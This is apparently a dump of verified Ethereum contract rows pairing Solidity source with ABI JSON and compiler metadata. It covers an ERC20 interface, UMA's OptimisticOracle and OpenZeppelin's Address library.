* @dev Returns true if the caller is the next owner.
*/
function isNextOwner() public view returns (bool) {
return msg.sender == nextOwner;
}
function _setOwner(address previousOwner, address newOwner) internal {
owner = newOwner;
emit OwnershipTransferred(previousOwner, owner);
}
function _renounceOwnership() internal {
emit OwnershipTransferred(owner, address(0));
owner = address(0);
}
} | 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| v0.8.10+commit.fc410830 | true | 2,000 | 000000000000000000000000fdaef6d6ac99243b80643730badaec4171118fd9 | Default | false | ||||
ERC20 | contracts/lib/ERC20/interface/IERC20.sol | 0x4600f923f53138092b436af3e7bb6fc080c98e51 | Solidity | // SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.10;
interface IERC20Events {
/// @notice EIP-20 transfer event
event Transfer(address indexed _from, address indexed _to, uint256 _value);
/// @notice EIP-20 approval event
event Approval(
address indexed _owner,
address indexed _spender,
uint256 _value
);
/// @notice Mint event
event Mint(address indexed _to, uint256 _value);
}
interface IERC20 {
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external view returns (bytes32);
function initialize(
address operator_,
string memory name_,
string memory symbol_,
uint256 totalSupply_,
uint8 decimals_
) external returns (address);
function setBurnable(bool canBurn) external;
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
function nonces(address owner) external view returns (uint256);
function mint(address to, uint256 amount) external;
function burn(uint256 amount) external;
} | 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ts":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"nextOwner_","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}] | v0.8.10+commit.fc410830 | true | 2,000 | 000000000000000000000000fdaef6d6ac99243b80643730badaec4171118fd9 | Default | false | ||||
DesignatedVoting | contracts/oracle/implementation/OptimisticOracle.sol | 0xa581ea2537f67ebe9f43d751e819bd918e809397 | Solidity | // SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "../interfaces/StoreInterface.sol";
import "../interfaces/OracleAncillaryInterface.sol";
import "../interfaces/FinderInterface.sol";
import "../interfaces/IdentifierWhitelistInterface.sol";
import "../interfaces/OptimisticOracleInterface.sol";
import "./Constants.sol";
import "../../common/implementation/Testable.sol";
import "../../common/implementation/Lockable.sol";
import "../../common/implementation/FixedPoint.sol";
import "../../common/implementation/AddressWhitelist.sol";
/**
* @title Optimistic Requester.
* @notice Optional interface that requesters can implement to receive callbacks.
* @dev this contract does _not_ work with ERC777 collateral currencies or any others that call into the receiver on
* transfer(). Using an ERC777 token would allow a user to maliciously grief other participants (while also losing
* money themselves).
*/
interface OptimisticRequester {
/**
* @notice Callback for proposals.
* @param identifier price identifier being requested.
* @param timestamp timestamp of the price being requested.
* @param ancillaryData ancillary data of the price being requested.
*/
function priceProposed(
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) external;
/**
* @notice Callback for disputes.
* @param identifier price identifier being requested.
* @param timestamp timestamp of the price being requested.
* @param ancillaryData ancillary data of the price being requested.
* @param refund refund received in the case that refundOnDispute was enabled.
*/
function priceDisputed(
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData,
uint256 refund
) external;
/**
* @notice Callback for settlement.
* @param identifier price identifier being requested.
* @param timestamp timestamp of the price being requested.
* @param ancillaryData ancillary data of the price being requested.
* @param price price that was resolved by the escalation process.
*/
function priceSettled(
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData,
int256 price
) external;
}
/**
* @title Optimistic Oracle.
* @notice Pre-DVM escalation contract that allows faster settlement.
*/
contract OptimisticOracle is OptimisticOracleInterface, Testable, Lockable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
using Address for address;
event RequestPrice(
address indexed requester,
bytes32 identifier,
uint256 timestamp,
bytes ancillaryData,
address currency,
uint256 reward,
uint256 finalFee
);
event ProposePrice(
address indexed requester,
address indexed proposer,
bytes32 identifier,
uint256 timestamp,
bytes ancillaryData,
int256 proposedPrice,
uint256 expirationTimestamp,
address currency
);
event DisputePrice(
address indexed requester,
address indexed proposer,
address indexed disputer,
bytes32 identifier,
uint256 timestamp,
bytes ancillaryData,
int256 proposedPrice
);
event Settle(
address indexed requester,
address indexed proposer,
address indexed disputer,
bytes32 identifier,
uint256 timestamp,
bytes ancillaryData,
int256 price,
uint256 payout
);
mapping(bytes32 => Request) public requests;
// Finder to provide addresses for DVM contracts.
FinderInterface public finder;
// Default liveness value for all price requests.
uint256 public defaultLiveness;
/**
* @notice Constructor.
* @param _liveness default liveness applied to each price request.
* @param _finderAddress finder to use to get addresses of DVM contracts.
* @param _timerAddress address of the timer contract. Should be 0x0 in prod.
*/
constructor(
uint256 _liveness,
address _finderAddress,
address _timerAddress
) public Testable(_timerAddress) {
finder = FinderInterface(_finderAddress);
_validateLiveness(_liveness);
defaultLiveness = _liveness;
}
/**
* @notice Requests a new price.
* @param identifier price identifier being requested.
* @param timestamp timestamp of the price being requested.
* @param ancillaryData ancillary data representing additional args being passed with the price request.
* @param currency ERC20 token used for payment of rewards and fees. Must be approved for use with the DVM.
* @param reward reward offered to a successful proposer. Will be pulled from the caller. Note: this can be 0,
* which could make sense if the contract requests and proposes the value in the same call or
* provides its own reward system.
* @return totalBond default bond (final fee) + final fee that the proposer and disputer will be required to pay.
* This can be changed with a subsequent call to setBond().
*/
function requestPrice(
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData,
IERC20 currency,
uint256 reward
) external override nonReentrant() returns (uint256 totalBond) {
require(getState(msg.sender, identifier, timestamp, ancillaryData) == State.Invalid, "requestPrice: Invalid");
require(_getIdentifierWhitelist().isIdentifierSupported(identifier), "Unsupported identifier");
require(_getCollateralWhitelist().isOnWhitelist(address(currency)), "Unsupported currency");
require(timestamp <= getCurrentTime(), "Timestamp in future");
require(ancillaryData.length <= ancillaryBytesLimit, "Invalid ancillary data");
uint256 finalFee = _getStore().computeFinalFee(address(currency)).rawValue;
requests[_getId(msg.sender, identifier, timestamp, ancillaryData)] = Request({
proposer: address(0),
disputer: address(0),
currency: currency,
settled: false,
refundOnDispute: false,
proposedPrice: 0,
resolvedPrice: 0,
expirationTime: 0,
reward: reward,
finalFee: finalFee,
bond: finalFee,
customLiveness: 0
});
if (reward > 0) {
currency.safeTransferFrom(msg.sender, address(this), reward);
}
emit RequestPrice(msg.sender, identifier, timestamp, ancillaryData, address(currency), reward, finalFee);
// This function returns the initial proposal bond for this request, which can be customized by calling
// setBond() with the same identifier and timestamp.
return finalFee.mul(2);
}
/**
* @notice Set the proposal bond associated with a price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @param bond custom bond amount to set.
* @return totalBond new bond + final fee that the proposer and disputer will be required to pay. This can be
* changed again with a subsequent call to setBond().
*/
function setBond(
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData,
uint256 bond
) external override nonReentrant() returns (uint256 totalBond) {
require(getState(msg.sender, identifier, timestamp, ancillaryData) == State.Requested, "setBond: Requested");
Request storage request = _getRequest(msg.sender, identifier, timestamp, ancillaryData);
request.bond = bond;
// Total bond is the final fee + the newly set bond.
return bond.add(request.finalFee);
}
/**
* @notice Sets the request to refund the reward if the proposal is disputed. This can help to "hedge" the caller
* in the event of a dispute-caused delay. Note: in the event of a dispute, the winner still receives the other's
* bond, so there is still profit to be made even if the reward is refunded.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
*/
function setRefundOnDispute(
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) external override nonReentrant() {
require(
getState(msg.sender, identifier, timestamp, ancillaryData) == State.Requested,
"setRefundOnDispute: Requested"
);
_getRequest(msg.sender, identifier, timestamp, ancillaryData).refundOnDispute = true;
}
/**
* @notice Sets a custom liveness value for the request. Liveness is the amount of time a proposal must wait before
* being auto-resolved.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @param customLiveness new custom liveness.
*/
function setCustomLiveness(
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData,
uint256 customLiveness
) external override nonReentrant() {
require(
getState(msg.sender, identifier, timestamp, ancillaryData) == State.Requested,
"setCustomLiveness: Requested"
);
_validateLiveness(customLiveness);
_getRequest(msg.sender, identifier, timestamp, ancillaryData).customLiveness = customLiveness;
}
/**
* @notice Proposes a price value on another address' behalf. Note: this address will receive any rewards that come
* from this proposal. However, any bonds are pulled from the caller.
* @param proposer address to set as the proposer.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @param proposedPrice price being proposed.
* @return totalBond the amount that's pulled from the caller's wallet as a bond. The bond will be returned to
* the proposer once settled if the proposal is correct.
*/
function proposePriceFor(
address proposer,
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData,
int256 proposedPrice
) public override nonReentrant() returns (uint256 totalBond) {
require(proposer != address(0), "proposer address must be non 0");
require(
getState(requester, identifier, timestamp, ancillaryData) == State.Requested,
"proposePriceFor: Requested"
);
Request storage request = _getRequest(requester, identifier, timestamp, ancillaryData);
request.proposer = proposer;
request.proposedPrice = proposedPrice;
// If a custom liveness has been set, use it instead of the default.
request.expirationTime = getCurrentTime().add(
request.customLiveness != 0 ? request.customLiveness : defaultLiveness
);
totalBond = request.bond.add(request.finalFee);
if (totalBond > 0) {
request.currency.safeTransferFrom(msg.sender, address(this), totalBond);
}
emit ProposePrice(
requester,
proposer,
identifier,
timestamp,
ancillaryData,
proposedPrice,
request.expirationTime,
address(request.currency)
);
// Callback.
if (address(requester).isContract())
try OptimisticRequester(requester).priceProposed(identifier, timestamp, ancillaryData) {} catch {}
}
/**
* @notice Proposes a price value for an existing price request.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @param proposedPrice price being proposed.
* @return totalBond the amount that's pulled from the proposer's wallet as a bond. The bond will be returned to
* the proposer once settled if the proposal is correct.
*/
function proposePrice(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData,
int256 proposedPrice
) external override returns (uint256 totalBond) {
// Note: re-entrancy guard is done in the inner call.
return proposePriceFor(msg.sender, requester, identifier, timestamp, ancillaryData, proposedPrice);
}
/**
* @notice Disputes a price request with an active proposal on another address' behalf. Note: this address will
* receive any rewards that come from this dispute. However, any bonds are pulled from the caller.
* @param disputer address to set as the disputer.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return totalBond the amount that's pulled from the caller's wallet as a bond. The bond will be returned to
* the disputer once settled if the dispute was valid (the proposal was incorrect).
*/
function disputePriceFor(
address disputer,
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) public override nonReentrant() returns (uint256 totalBond) {
require(disputer != address(0), "disputer address must be non 0");
require(
getState(requester, identifier, timestamp, ancillaryData) == State.Proposed,
"disputePriceFor: Proposed"
);
Request storage request = _getRequest(requester, identifier, timestamp, ancillaryData);
request.disputer = disputer;
uint256 finalFee = request.finalFee;
uint256 bond = request.bond;
totalBond = bond.add(finalFee);
if (totalBond > 0) {
request.currency.safeTransferFrom(msg.sender, address(this), totalBond);
}
StoreInterface store = _getStore();
// Avoids stack too deep compilation error.
{
// Along with the final fee, "burn" part of the loser's bond to ensure that a larger bond always makes it
// proportionally more expensive to delay the resolution even if the proposer and disputer are the same
// party.
uint256 burnedBond = _computeBurnedBond(request);
// The total fee is the burned bond and the final fee added together.
uint256 totalFee = finalFee.add(burnedBond);
if (totalFee > 0) {
request.currency.safeIncreaseAllowance(address(store), totalFee);
_getStore().payOracleFeesErc20(address(request.currency), FixedPoint.Unsigned(totalFee));
}
}
_getOracle().requestPrice(identifier, timestamp, _stampAncillaryData(ancillaryData, requester));
// Compute refund.
uint256 refund = 0;
if (request.reward > 0 && request.refundOnDispute) {
refund = request.reward;
request.reward = 0;
request.currency.safeTransfer(requester, refund);
}
emit DisputePrice(
requester,
request.proposer,
disputer,
identifier,
timestamp,
ancillaryData,
request.proposedPrice
);
// Callback.
if (address(requester).isContract())
try OptimisticRequester(requester).priceDisputed(identifier, timestamp, ancillaryData, refund) {} catch {}
}
/**
* @notice Disputes a price value for an existing price request with an active proposal.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return totalBond the amount that's pulled from the disputer's wallet as a bond. The bond will be returned to
* the disputer once settled if the dispute was valid (the proposal was incorrect).
*/
function disputePrice(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) external override returns (uint256 totalBond) {
// Note: re-entrancy guard is done in the inner call.
return disputePriceFor(msg.sender, requester, identifier, timestamp, ancillaryData);
}
/**
* @notice Retrieves a price that was previously requested by a caller. Reverts if the request is not settled
* or settleable. Note: this method is not view so that this call may actually settle the price request if it
* hasn't been settled.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return resolved price.
*/
function settleAndGetPrice(
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) external override nonReentrant() returns (int256) {
if (getState(msg.sender, identifier, timestamp, ancillaryData) != State.Settled) {
_settle(msg.sender, identifier, timestamp, ancillaryData);
}
return _getRequest(msg.sender, identifier, timestamp, ancillaryData).resolvedPrice;
}
/**
* @notice Attempts to settle an outstanding price request. Will revert if it isn't settleable.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return payout the amount that the "winner" (proposer or disputer) receives on settlement. This amount includes
* the returned bonds as well as additional rewards.
*/
function settle(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) external override nonReentrant() returns (uint256 payout) {
return _settle(requester, identifier, timestamp, ancillaryData);
}
/**
* @notice Gets the current data structure containing all information about a price request.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return the Request data structure.
*/
function getRequest(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) public view override returns (Request memory) {
return _getRequest(requester, identifier, timestamp, ancillaryData);
}
/**
* @notice Computes the current state of a price request. See the State enum for more details.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return the State.
*/
function getState(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) public view override returns (State) {
Request storage request = _getRequest(requester, identifier, timestamp, ancillaryData);
if (address(request.currency) == address(0)) {
return State.Invalid;
}
if (request.proposer == address(0)) {
return State.Requested;
}
if (request.settled) {
return State.Settled;
}
if (request.disputer == address(0)) {
return request.expirationTime <= getCurrentTime() ? State.Expired : State.Proposed;
}
return
_getOracle().hasPrice(identifier, timestamp, _stampAncillaryData(ancillaryData, requester))
? State.Resolved
: State.Disputed;
}
/**
* @notice Checks if a given request has resolved, expired or been settled (i.e the optimistic oracle has a price).
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return boolean indicating true if price exists and false if not.
*/
function hasPrice(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) public view override returns (bool) {
State state = getState(requester, identifier, timestamp, ancillaryData);
return state == State.Settled || state == State.Resolved || state == State.Expired;
}
/**
* @notice Generates stamped ancillary data in the format that it would be used in the case of a price dispute.
* @param ancillaryData ancillary data of the price being requested.
* @param requester sender of the initial price request.
* @return the stampped ancillary bytes.
*/
function stampAncillaryData(bytes memory ancillaryData, address requester) public pure returns (bytes memory) {
return _stampAncillaryData(ancillaryData, requester);
}
function _getId(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) private pure returns (bytes32) {
return keccak256(abi.encodePacked(requester, identifier, timestamp, ancillaryData));
}
function _settle(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) private returns (uint256 payout) {
State state = getState(requester, identifier, timestamp, ancillaryData);
// Set it to settled so this function can never be entered again.
Request storage request = _getRequest(requester, identifier, timestamp, ancillaryData);
request.settled = true;
if (state == State.Expired) {
// In the expiry case, just pay back the proposer's bond and final fee along with the reward.
request.resolvedPrice = request.proposedPrice;
payout = request.bond.add(request.finalFee).add(request.reward);
request.currency.safeTransfer(request.proposer, payout);
} else if (state == State.Resolved) {
// In the Resolved case, pay either the disputer or the proposer the entire payout (+ bond and reward).
request.resolvedPrice = _getOracle().getPrice(
identifier,
timestamp,
_stampAncillaryData(ancillaryData, requester)
);
bool disputeSuccess = request.resolvedPrice != request.proposedPrice;
uint256 bond = request.bond;
// Unburned portion of the loser's bond = 1 - burned bond.
uint256 unburnedBond = bond.sub(_computeBurnedBond(request));
// Winner gets:
// - Their bond back.
// - The unburned portion of the loser's bond.
// - Their final fee back.
// - The request reward (if not already refunded -- if refunded, it will be set to 0).
payout = bond.add(unburnedBond).add(request.finalFee).add(request.reward);
request.currency.safeTransfer(disputeSuccess ? request.disputer : request.proposer, payout);
} else {
revert("_settle: not settleable");
}
emit Settle(
requester,
request.proposer,
request.disputer,
identifier,
timestamp,
ancillaryData,
request.resolvedPrice,
payout
);
// Callback.
if (address(requester).isContract())
try
OptimisticRequester(requester).priceSettled(identifier, timestamp, ancillaryData, request.resolvedPrice)
{} catch {}
}
function _getRequest(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) private view returns (Request storage) {
return requests[_getId(requester, identifier, timestamp, ancillaryData)];
}
function _computeBurnedBond(Request storage request) private view returns (uint256) {
// burnedBond = floor(bond / 2)
return request.bond.div(2);
}
function _validateLiveness(uint256 _liveness) private pure {
require(_liveness < 5200 weeks, "Liveness too large");
require(_liveness > 0, "Liveness cannot be 0");
}
function _getOracle() internal view returns (OracleAncillaryInterface) {
return OracleAncillaryInterface(finder.getImplementationAddress(OracleInterfaces.Oracle));
}
function _getCollateralWhitelist() internal view returns (AddressWhitelist) {
return AddressWhitelist(finder.getImplementationAddress(OracleInterfaces.CollateralWhitelist));
}
function _getStore() internal view returns (StoreInterface) {
return StoreInterface(finder.getImplementationAddress(OracleInterfaces.Store));
}
function _getIdentifierWhitelist() internal view returns (IdentifierWhitelistInterface) {
return IdentifierWhitelistInterface(finder.getImplementationAddress(OracleInterfaces.IdentifierWhitelist));
}
// Stamps the ancillary data blob with the optimistic oracle tag denoting what contract requested it.
function _stampAncillaryData(bytes memory ancillaryData, address requester) internal pure returns (bytes memory) {
return abi.encodePacked(ancillaryData, "OptimisticOracle", requester);
}
} | [{"inputs":[{"internalType":"address","name":"finderAddress","type":"address"},{"internalType":"address","name":"ownerAddress","type":"address"},{"internalType":"address","name":"voterAddress","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"roleId","type":"uint256"},{"indexed":true,"internalType":"address","name":"newMember","type":"address"},{"indexed":true,"internalType":"address","name":"manager","type":"address"}],"name":"AddedSharedMember","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"roleId","type":"uint256"},{"indexed":true,"internalType":"address","name":"oldMember","type":"address"},{"indexed":true,"internalType":"address","name":"manager","type":"address"}],"name":"RemovedSharedMember","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"roleId","type":"uint256"},{"indexed":true,"internalType":"address","name":"newMember","type":"address"},{"indexed":true,"internalType":"address","name":"manager","type":"address"}],"name":"ResetExclusiveMember","type":"event"},{"inputs":[{"internalType":"uint256","name":"roleId","type":"uint256"},{"internalType":"address","name":"newMember","type":"address"}],"name":"addMember","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"components":[{"internalType":"bytes32","name":"identifier","type":"bytes32"},{"internalType":"uint256","name":"time","type":"uint256"},{"internalType":"bytes","name":"ancillaryData","type":"bytes"},{"internalType":"bytes32","name":"hash","type":"bytes32"},{"internalType":"bytes","name":"encryptedVote","type":"bytes"}],"internalType":"struct VotingAncillaryInterface.CommitmentAncillary[]","name":"commits","type":"tuple[]"}],"name":"batchCommit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"components":[{"internalType":"bytes32","name":"identifier","type":"bytes32"},{"internalType":"uint256","name":"time","type":"uint256"},{"internalType":"int256","name":"price","type":"int256"},{"internalType":"bytes","name":"ancillaryData","type":"bytes"},{"internalType":"int256","name":"salt","type":"int256"}],"internalType":"struct VotingAncillaryInterface.RevealAncillary[]","name":"reveals","type":"tuple[]"}],"name":"batchReveal","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"identifier","type":"bytes32"},{"internalType":"uint256","name":"time","type":"uint256"},{"internalType":"bytes","name":"ancillaryData","type":"bytes"},{"internalType":"bytes32","name":"hash","type":"bytes32"}],"name":"commitVote","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"roleId","type":"uint256"}],"name":"getMember","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"roleId","type":"uint256"},{"internalType":"address","name":"memberToCheck","type":"address"}],"name":"holdsRole","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"roleId","type":"uint256"},{"internalType":"address","name":"memberToRemove","type":"address"}],"name":"removeMember","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"roleId","type":"uint256"}],"name":"renounceMembership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"roleId","type":"uint256"},{"internalType":"address","name":"newMember","type":"address"}],"name":"resetMember","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"roundId","type":"uint256"},{"components":[{"internalType":"bytes32","name":"identifier","type":"bytes32"},{"internalType":"uint256","name":"time","type":"uint256"},{"internalType":"bytes","name":"ancillaryData","type":"bytes"}],"internalType":"struct VotingAncillaryInterface.PendingRequestAncillary[]","name":"toRetrieve","type":"tuple[]"}],"name":"retrieveRewards","outputs":[{"components":[{"internalType":"uint256","name":"rawValue","type":"uint256"}],"internalType":"struct FixedPoint.Unsigned","name":"","type":"tuple"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"identifier","type":"bytes32"},{"internalType":"uint256","name":"time","type":"uint256"},{"internalType":"int256","name":"price","type":"int256"},{"internalType":"bytes","name":"ancillaryData","type":"bytes"},{"internalType":"int256","name":"salt","type":"int256"}],"name":"revealVote","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"erc20Address","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"withdrawErc20","outputs":[],"stateMutability":"nonpayable","type":"function"}] | v0.6.12+commit.27d51765 | true | 199 | 00000000000000000000000040f941e48a552bf496b154af6bf55725f18d77c30000000000000000000000009a8f92a830a5cb89a3816e3d267cb7791c16b04d0000000000000000000000009a8f92a830a5cb89a3816e3d267cb7791c16b04d | Default | Unknown | false | ipfs://617d39572f2a704ccf2f89c018de5a76636c4d524dab1138bcb4599330f70518 |
||
DesignatedVoting | @openzeppelin/contracts/utils/Address.sol | 0xa581ea2537f67ebe9f43d751e819bd918e809397 | Solidity | pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
} | [{"inputs":[{"internalType":"address","name":"finderAddress","type":"address"},{"internalType":"address","name":"ownerAddress","type":"address"},{"internalType":"address","name":"voterAddress","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"roleId","type":"uint256"},{"indexed":true,"internalType":"address","name":"newMember","type":"address"},{"indexed":true,"internalType":"address","name":"manager","type":"address"}],"name":"AddedSharedMember","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"roleId","type":"uint256"},{"indexed":true,"internalType":"address","name":"oldMember","type":"address"},{"indexed":true,"internalType":"address","name":"manager","type":"address"}],"name":"RemovedSharedMember","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"roleId","type":"uint256"},{"indexed":true,"internalType":"address","name":"newMember","type":"address"},{"indexed":true,"internalType":"address","name":"manager","type":"address"}],"name":"ResetExclusiveMember","type":"event"},{"inputs":[{"internalType":"uint256","name":"roleId","type":"uint256"},{"internalType":"address","name":"newMember","type":"address"}],"name":"addMember","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"components":[{"internalType":"bytes32","name":"identifier","type":"bytes32"},{"internalType":"uint256","name":"time","type":"uint256"},{"internalType":"bytes","name":"ancillaryData","type":"bytes"},{"internalType":"bytes32","name":"hash","type":"bytes32"},{"internalType":"bytes","name":"encryptedVote","type":"bytes"}],"internalType":"struct VotingAncillaryInterface.CommitmentAncillary[]","name":"commits","type":"tuple[]"}],"name":"batchCommit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"components":[{"internalType":"bytes32","name":"identifier","type":"bytes32"},{"internalType":"uint256","name":"time","type":"uint256"},{"internalType":"int256","name":"price","type":"int256"},{"internalType":"bytes","name":"ancillaryData","type":"bytes"},{"internalType":"int256","name":"salt","type":"int256"}],"internalType":"struct 